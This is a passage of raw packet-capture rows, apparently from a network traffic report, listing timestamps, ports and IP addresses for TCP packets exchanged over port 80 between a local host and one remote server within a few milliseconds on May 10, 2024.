May 10, 2024 09:20:58.241790056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241791010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241802931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241806030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241817951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241837978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241842031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241852999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241854906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241875887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241875887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241889954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241890907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241902113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241905928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241914988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241928101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241930962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241940022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241951942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241954088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241964102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241967916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241976023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241990089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241992950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242003918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242018938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242022991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242037058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242038965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242050886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242063046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242063046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242074966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242084980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242088079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242100000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242106915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242110968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242124081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242130041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242135048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242142916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242147923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242158890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242166042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242171049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242182970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242193937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242196083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242208958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242218018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242221117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242230892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242234945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242247105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242257118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242259026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242281914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242292881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242292881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242305994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242306948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242319107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242331028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242331982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242346048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242347956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242357969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242368937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242371082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242382050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242393017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242393017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242407084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242424011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242429972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242449045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242450953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242460966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242461920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242475033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242484093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242486954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242497921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242501020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242513895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242513895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242528915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242535114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242541075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242552042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242558002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242563963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242575884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242583036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242588043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242595911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242600918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242613077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242619038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242624998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242638111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242645025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242650032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242657900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242665052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242680073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242681026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242691994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242703915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242703915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242716074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242724895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242728949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242741108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242748022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242754936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242767096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242779016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242784977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242794991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242799044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242811918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242814064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242824078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242836952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242849112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242858887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242861986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242880106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242882013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242892027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242904902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242907047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242918015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242928982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242939949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242952108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242953062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242976904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.242985964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.242990971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243004084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243020058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243027925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243040085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243046999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243052006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243060112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243065119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243074894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243088961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243102074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243113995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243113995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243134022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243145943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243146896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243160009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243171930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243180990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243197918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243199110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243211031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243211031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243223906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243226051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243236065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243244886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243248940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243258953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243262053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243274927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243279934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243293047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243300915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243304968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243315935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243326902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243326902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243340015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243351936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243359089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243375063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243386030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243387938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243400097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243412018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243421078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243423939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243434906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243436098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243448973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243458986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243460894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243473053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243482113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243498087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243499041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243510962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243519068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243524075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243541956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243544102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243544102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243554115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243560076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243566990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243573904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243580103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243587017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243592024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243602037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243606091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243616104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243618965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243630886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243639946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243643999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243655920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243664026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243669033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243680954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243686914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243693113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243700981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243705034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243716955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243722916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243729115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243741035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243746996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243752003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243761063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243763924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243776083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243788004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243798971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243799925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243812084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243822098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243824005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243839025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243849039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243849993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243864059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243865967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243875980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243885040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243897915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243908882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243918896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243931055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243942022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243947029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243954897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243959904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.243968010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243979931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243992090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.243995905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244004965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244015932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244029999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244028091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244041920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244051933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244065046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244066000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244077921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244088888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244091988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244107962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244121075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244122982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244133949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244146109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244149923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244157076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244165897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244184017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244189978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244196892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244209051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244215965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244221926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244232893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244241953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244245052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244256973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244271040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244282961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244287014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244294882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244311094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244323969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244326115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244335890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244342089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244349003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244362116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244366884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244373083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244385004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244391918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244395971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244405985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244406939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244419098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244431973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244436979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244445086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244461060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244468927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244472980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244484901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244488001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244498968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244510889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244513988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244523048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244534969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244537115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244545937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244551897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244560003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244570971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244577885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244582891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244595051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244606018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244615078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244616985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244630098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244632959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244642973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244649887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244656086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244667053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244674921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244693041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244698048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244705915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244718075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.244725943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.244729996 CEST	80	49754	34.68.151.162	192.168.2.4
